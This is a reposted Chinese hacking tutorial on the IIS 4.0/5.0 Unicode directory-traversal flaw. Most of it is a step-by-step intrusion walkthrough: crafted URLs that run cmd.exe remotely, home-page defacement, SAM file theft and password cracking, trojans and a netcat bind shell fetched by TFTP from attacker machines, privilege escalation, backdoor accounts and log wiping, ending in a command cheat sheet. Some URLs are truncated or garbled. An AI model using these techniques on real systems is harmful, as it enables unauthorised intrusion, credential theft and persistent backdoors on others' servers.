unicode终极利用 《转》

发表于:2007-06-30来源:作者:点击数: 标签:
最近这些日子好多的WINNT的 服务器 被黑,尤其是国内的。下面是一些具体示例的总结。 下面这类型的漏洞以发现近一年多了,一年多前在国外的黑客网站就有了类似的文章,但 是当时 并没有很多人重视。,在反北约的黑客战中有很多就是用下面这些例子了。 不过直到
最近这些日子好多的WINNT的服务器被黑,尤其是国内的。下面是一些具体示例的总结。
下面这类型的漏洞以发现近一年多了,一年多前在国外的黑客网站就有了类似的文章,但
是当时 并没有很多人重视。,在反北约的黑客战中有很多就是用下面这些例子了。
不过直到UNICOUDE漏洞的发现,黑NT的计算机变的傻瓜化了。下面我把最近的一些文章总
结一下。
希望大家能从这里体会到点什么。(下面的文章来自一些邮件列表和BBS)


原理:(其实原来都很相似,我拿这个做个例子。)

NSFOCUS安全小组发现IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,
导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode
字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执
行某些web根目录以外的文件。
对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"
或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统
认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,
采用的 解码的格式与下面的格式类似:
%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘’/‘’
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘’\‘’
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。
(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能
列出当前目录的内容:
http://www.victim.com/scripts/..%c1.../cmd.exe?/c+dir
(2) 利用这个漏洞查看系统文件内容也是可能的:
http://www.victim.com/a.asp/..%c1%1..../winnt/win.ini
Rain Forest Puppy 测试发现对于英文版的IIS 4.0/5.0,此问题同样
存在,只是编码格式略有不同,变成"%c0%af"或者"%c1%9c".
下面我们的例子以%c1%1c为主讲解。
注:+号可以用%20代替,依这种格式你还可以构造出许多命令
好多站点\inetpub\下的scripts目录删除了,
但\Program Files\Common Files\System\下
的msadc还在(有msadcs.dll漏洞的话就不用
%c1%1c了)。这时可以如下构造请求:
http://ip/msadc/..%c1%1c../..%c1%1c....exe?/c+dir+c:\


实践一:(修改主页----最简单化的一种)

很多入侵都以修改主页的形式表现出来,这通常有两种情况:一是表达自己的
愤慨——比如当年以美国为首的北约悍然轰炸我驻南使馆的突发事件之后,国内很多黑客
在ICQ、BBS一呼百应,纷纷对敌国进行各种形式的攻击,当然以替换主页最为大快人心!
二是在给网管发e-mail漏洞报告之后没反应,有的黑客按耐不住,就用修改主页的方式给
予警告, 用以引起人们对于安全技术的重视。当然说起来这是违法的啦,所以大家要注意
哦,不要光图一时的痛快, 呵呵!
可以使用ECHO命令、管道符等建立文件,修改文件内容。但因为IIS加载程序检测到有
CMD.EXE或者COMMAND.COM串就要检测特殊字符“&|(,;%<>”,如果发现有这些字符就会返
回500错误,所以不能直接使用CMD.EEX加管道符等。因此可以采用拷贝CMD.EXE换名的方法
绕过去。
http://xxx.xxx.xxx.xxx/scripts/..%c...scripts\ccc.exe
然后
http://xxx.xxx.xxx.xxx/scripts/ccc....ked+by+chinese+>+f:\wwwroot\xxx\default.asp
http://xxx.xxx.xxx.xxx/scripts/ccc....+echo+1/1/2001+>>+f:\wwwroot\xxx\default.asp
就改了主页了!
这种方法对于有负载均衡的主机很不方便,又需要几次才能完成,所以不好。袁哥给出了
另一种更方便的办法。参考袁哥(yuange)的帖子《IIS不用拷贝CMD.EXE使用管道符等的方
法》,可以这样:
http://xxx.xxx.xxx.xxx/scripts/..%c...nt/system32/cmd".exe?/c+echo+Hacked+by+
hacker+>+f:\wwwroot\xxx\default.asp
http://xxx.xxx.xxx.xxx/scripts/..%c...nt/system32/cmd".exe?/c+echo+12/1/2k+>>+
f:\wwwroot\xxx\default.asp
这样,主页就被更改成了:
Hacked by hacker
12/1/2k
当然我是没有这样做啦,不过这些东西我都在自己配置的环境下实现了,

在我练习的过程中发现,用ECHO写这些的时候很慢,如果你多次回车,过一阵屏幕刷新后
主页上就会留下多个你要写的内容。




实践二(下载SAM文件)

http://xxx.xxx.xxx.xxx/scripts/..%c.../winnt/system32
/cmd.exe?/c+dir%20c:\发现列出了远程主机C:\下的所有文件,
执行: http://xxx.xxx.xxx.xxx/scripts/..Á;../winnt/system32/cmd.exe?/c
+copy%20c:\autoexec.bat%20c:\autoexec.bak 成功实现文件的复制,
执行:http://xxx.xxx.xxx.xxx/scripts/..%c...winnt/system32/
cmd.exe?/c+del%20c:\autoexec.bak 成功实现文件的删除,哇!太利害了。
随便浏览了一下,因为是国内的主机,不想搞破坏,只想练练手!目的:
获得Administrator权限。
执行:http://xxx.xxx.xxx.xxx/scripts/..%c...winnt/system32/
cmd.exe?/c+copy%20c:\winnt\repair\sam._%20c:\inetpub\wwwroot\
把sam._文件拷贝到wwwroot文件内,输入:http://xxx.xxx.xxx.xxx/sam._
将sam._文件下载到本地,执行:
http://xxx.xxx.xxx.xxx/scripts/..%c...em32/cmd.exe?/c
+del%20c:\inetpub\wwwroot\sam._清除痕迹。
在本机执行:C:>expand sam._ sam
启动l0phtcrack 2.5(可到http://rina.yofor.com/7index.html 下载),Import Sam
File... 导入sam文件,Open Wordlist File...
打开一个字典,Run Crack,乖乖,要17个小时,不管它,让它慢慢破去,先睡个
觉先!五分钟后来一看,Administrator 的 Nt Password 居然是 123456,我昏,
网管们注意了,这种密码也可以取呀?执行:C:\>newletmein \\xxx.xxx.xxx -admin
扫描主机,发现管理员ID是:asdfghjk,执行:C:\>net use \\xxx.xxx.xxx.xxxc$
123456 /user:asdfghjk 成功联上对方主机,大功告成!窜到存放日志的目录:
winnt\system32\logfiles 看了看,呵呵!

实践三(用木马)

如果你对net use的使用不熟悉的话,可以找找相关的资料来看,net命令也是基本技
能啊,好好掌握吧) 在本地设定一个共享目录,比如f:\123,把ncx99.exe和冰河服务
端放在里面,同时为了试验, 放了一个0字节的1.txt;然后再tftp98中把目录指向
f:\123,现在就要让对方运行tftp.exe来下载文件啦!
http://xxx.xxx.xxx.xxx/scripts/cmd....wwwroot\scripts
然后
http://xxx.xxx.xxx.xxx/scripts/tftp...1.txt+cosys.txt
(111.111.111.111表示我们的ip,或者是我们的tftp服务器ip)
看,返回下面的内容:
CGI 錯誤
所指定的 CGI 應用程式處理有誤,它未傳回完整的 HTTP 標題。所傳回的標題是:

Transfer successful: 0 bytes in 2 seconds, 0 bytes/s
这就成功啦!看看:
http://xxx.xxx.xxx.xxx/scripts/sys.exe?/c+dir+1.txt
果然有的,哈,继续:
http://xxx.xxx.xxx.xxx/scripts/tftp...exe+scripts.exe
现在继续把冰河弄上去,国货精品,也让同胞们看看嘛!这是最方便的啦,哈哈!
http://xxx.xxx.xxx.xxx/scripts/tftp...em32\iinter.exe
返回:
CGI 錯誤
所指定的 CGI 應用程式處理有誤,它未傳回完整的 HTTP 標題。所傳回的標題是:

Transfer successful: 266240 bytes in 271 seconds, 982 bytes/s
成功啦,这样,我们就可以先让它中木马啦!
http://xxx.xxx.xxx.xxx/scripts/..%c...tem32/inter.exe
之后,用客户端连接过去,找到自己需要的东西,什么?你不知道你需要什么?
那你进去干什么?!学习啊?好啊,学到什么啦?总结一下,把纪录删掉(或者改
写?覆盖?你自己想吧)

实际四(暴力法和权限升级)

在WIN2000的命令提示符下

这样输入
c:\>newletmein xxx.xxx.xxx.xxx -all -g
xxx.xxx.xxx.xxx是你要攻击的网站的IP地址
然后等待程序执行完毕,如果发现可用的用户名和密码,程序会告诉你,记住这个
用户名和密码,再这样输入(这里假设用户名为ADMIN。密码也是ADMIN)
c:\>net use \\XXX.XXX.XXX.XXX\IPC$ "ADMIN" /USER:"ADMIN"
程序显示命令完成,接着来
c:\>copy c:\netsvc.exe \\xxx.xxx.xxx.xxx\admin$\system32
程序显示1个文件COPY成功
接着来
c:\>copy c:\ntsrv.exe \\xxx.xxx.xxx.xxx\admin$\system32
程序显示1个文件COPY成功
接着来
c:\>netsvc \\xxx.xxx.xxx.xxx schedule /start
等显示成功,接着来,这里假设对方时间为13:00(这里可以用NET TIME看时间)
c:\>at \\xxx.xxx.xxx.xxx 13:00 ntsrv.exe /port:65432 /nomsg
程序会告诉你这个命令的ID号,等时间一到,用木马连他的机器的65432端口
可以加上自己的密码,和更改端口,目标搞定

2,目标开了WEB服务,IIS有漏洞msadcs.dll漏洞,这个漏洞可以用TWWWSCAN扫描
到,为了确认这个漏洞,你可以在浏览器的网址栏里输入这个文件的具体路径来确认
IE将显示application/x_varg,说明这个漏洞存在,然后在PERL下,进行攻击
C:\Perl\BIN>perl -x msadcs.txt -h xxx.xxx.xxx.xxx
Please type the NT commandline you want to run (cmd /c assumed):\n
cmd /c 一般这里我用TFTP上传我的木马文件,但首先你得先设置好你的TFTP主机
tftp -i 127.0.0.1 get ntsrv.exe c:\winnt\system32\ntsrv.exe
这里127.0.0.1 是我的TFTP主机,TFTP目录下有NTSRV。EXE木马
如果程序执行成功,TFTP会显示文件传输的进度,然后再执行PERL,将木马激活
,你再用木马连上对方的机器,搞定

3,目标开了WEB服务,而且有SQL服务,一般SQL服务器开1433端口
如果WEB服务器用ASP等等。。。你如果能看到ASP或者GLOBAL。ASA的原码,
而且把用户名或者密码写在这里,OK,你已经差不多搞定拉
打开SQL SERVER 7。0 在client network uitlity里输入对方IP,通讯选TCP/IP
端口选1433,然后应用确定,再打开query analyzer SERVER选你要攻击的
IP,用户名和密码输入,连接他,等会,连上拉
在上面这样输入
create proc #1 as exec master..xp_cmdsh*ll ‘’dir c:\‘’
go
exec #1
按F5执行,会显示对方机器的文件目录,然后用TFTP上传你的木马,并且执行,再用
木马连接他搞定(需要注意的是PROC的号要执行1次换1个,单引号间是命令行)

4,目标开了WEB服务,IIS有漏洞,这里要说现在比较普遍的双字节编码漏洞。理论
这里不说,也说不好,照着干就可以拉。发现目标XXX。XXX。XXX。XXX
在浏览器里输入
http://xxx.xxx.xxx.xxx/.idq
显示路径,WEB是在那里
http://xxx.xxx.xxx.xxx/scripts/..%c.../cmd.exe?/c+dir
这样我们将得到对方的文件目录
然后这样
http://xxx.xxx.xxx.xxx/scripts/..%c...cmd.exe?/c+tftp -i 61.137.157.156
get ntsrv.exe c:\winnt\system32\ntsrv.exe
等文件传完,再这样
http://xxx.xxx.xxx.xxx/scripts/..%c...tem32\ntsrv.exe
木马被启动,用木马连上,搞定。

如果权限不够,我们下面来升级权限
自己C盘下的gasys.dll、cmd.exe和getadmin.exe到对方的E盘下,
(这三个文件是黑NT毕备的,很多站点可以下载到)

可以到DOS下输入:(下面是NETUSE后的盘,如果不懂,先学NETUSE去)
C:\>copy c:\gasys.dll F:\
1 file(s) copied.
C:\>copy c:\cmd.exe F:\
1 file(s) copied.
C:\>copy c:\getadmin.exe F:\
1 file(s) copied.
至此为止,肉鸡已经搞定了。现在我们要象主目标进行攻击了。假设对方网站的ip
是127.1.1.1,先要把cmd.exe复制到scripts的目录下面,并且要改名,假设对方的
物理盘为E :
http://127.1.1.1/scripts/..Á;../winnt/system32/cmd.exe?/c+copy+e:
\winnt\system32\cmd.exe+e:\inetpub\scripts\hackercn .exe
这样我们就已经把cmd.exe复制到了scripts的目录下,并改名为hackercn.exe。现
在我们要用它把我们肉鸡上的E盘影射为这个网站服务器上的Y 盘:
http://127.1.1.1/scripts/hackercn.e...:+\\127.1.1.2\E
然后把我们copy过去的那3个文件再copy到网站服务器上(cmd.exe虽然刚才已经copy

过去了,但因为改了名,所以还要再copy一次):
http://127.1.1.1/scripts/..Á;../winnt/system32/cmd.exe?/c+copy+Y:
\gasys.dll+d:\inetpub\scripts\gasys.dll
http://127.1.1.1/scripts/..Á;../winnt/system32/cmd.exe?/c+copy+Y:
\cmd.exe+d:\inetpub\scripts\cmd.exe
http://127.1.1.1/scripts/..Á;../winnt/system32/cmd.exe?/c+copy+Y:
\getadmin.exe+d:\inetpub\scripts\getadmin.exe

好了,现在我们需要把“IUSR_计算机名”这个帐号升级为Administrator(并不是
每个站点都有“IUSR_计算机名”这个帐号)。假设这台计算机名为“S ERVERS”,
那么我们可以这样做: http://127.1.1.1/scripts/getadmin.exe?IUSR_SERVERS
这样所有的访问者都有了Administrator限权,
然后我们再来新建一个用户名为hacker密码为password的用户:
http://127.1.1.1/script/cmd.exe?/c%...password%20/add
然后再把它授予Administrator限权:
http://127.1.1.1/scripts/getadmin.exe?hacker

下来就是进入该系统并制作后门了:
在nt的dos下输入
C:\>net use \\127.1.1.1\ipc$ "password" /user:"hacker"
现在你已经登陆到了他的主机上,然后上传木马冰河:
C:\>copy C:\unzipped\newglacier\G_Server.exe \\127.1.1.1\admin$\system32
然后用net time来获得对方的时间:
C:\>net time \\127.1.1.1
假设对方的时间是5点40,那么我们将在5点43启动冰河程序:
C:\>at \\127.1.1.1 05:43 G_Server.exe

这样我们就完整的实现了一次入侵,别忘了最后要打扫战场
用冰河很讨厌,我个人是不赞成用木马的,我们可以上载其他端口程序。

实践五(简单实用)
我们假设1.29.58.9有这类型漏洞
myip就是我的IP,GIFT是我计算机上共享的文件名。我把NCx99.exe那个文件放到
这个目录下了。 http://1.29.58.9/scripts/..%c1%1c.....+i:+\\myip\gift
时间要长点,多等一会儿。
成功后,你就可以用COPY命令,把NCX99.EXE文件从I盘CP过来了(放在system32或
你喜欢的目录下)
http://xxx.xxx.xxx.xxx/scripts/..%c...ripts\ncx99.exe
启动ncx99.exe
http://xxx.xxx.xxx.xxx/scripts/..%c...ripts\ncx99.exe
用telnet连上就可以了。
如果权限不够可以用上面我们讲的方法来增加权限。或添加用户。

实践六(打扫战场)

打扫战场
最后一步就是清除我们用到的一些临时文件和测试的文件,伪装一下日志,
免得被发现,这就叫做是打扫战场。然后记得卸载冰河啊,我们不是过去破坏的,
只是为了学习和研究,熟悉入侵的手段和思想,学会分析问题,解决问题,为将来
的实战做个练习而已嘛!
所以也不要修改主页啦!给他们的网管留一份e-mail也好啦!
其实,我们传上去的ncx99.exe是netcat的另一个版本,运行后,会把cmd.exe绑定
到99端口, 也就是说,运行以后,会在99端口侦听,我们可以用telnet连接。
C:>telnet xxx.xxx.xxx.xxx 99
就看到:
c:\inetpub\scripts>
呵呵,现在就相当于进入他的机器啦,后面的东西不用继续说了吧?键入exit退出
后,对方的ncx99也退出啦。如果你真的想要他的管理员账号,那么,我想,最起码
可以这样:传个纪录键盘的东东上去,怎么样?比你破解简单多啦!你当然也可以
用冰河什么的。你也可以给自己建个账号,方便自己,不过很可能会被发现的啦。
好啦好啦,不再说啦,烦死人了。
如果你用了木马,就要想办法去掉,要不就留到以后用。随你了。
这么一次入侵完成了,我们至少要学会入侵的基本步骤,还有入侵的思维方式啦。
好好体会吧。

实用命令总结:

列目录:
http://ip/msadc/..%c1%1c../..%c1%1c....exe?/c+dir+c:\
http://www.victim.com/scripts/..%c1....exe?/c+dir+c:\

Copy文件
http://xxx.xxx.xxx.xxx/scripts/..%c...netpub\wwwroot\
NET USE的使用
http://xxx.xxx.xxx.xxx/scripts/..%c...+i:+\\myip\temp

改CMD方法
http://xxx.xxx.xxx.xxx/scripts/..%c...scripts\ccc.exe
然后
http://xxx.xxx.xxx.xxx/scripts/ccc....ked+by+chinese+>+f:\wwwroot\xxx\default.asp

FIND命令使用
比如我要查看WEB目录d:\inetpub\wwwroot下的所有asp、asa文件的内容:
http://xxx.xxx.xxx.xxx/scripts/..%c...find.exe?/n+/v+""+d:\inetpub\wwwroot\*.as*

添加用户命令
新建一个用户名为hacker密码为password的用户:
http://127.1.1.1/script/cmd.exe?/c%...password%20/add

当然命令是构造出来的,利用这些规则我们可以写很多的类似的命令。
也希望大家把自己构造的好的想法和实现贴出来
如果你找不到目标可以去www.goole.com找。
它的危害大家我想都知道了。

原文转自:http://www.ltesting.net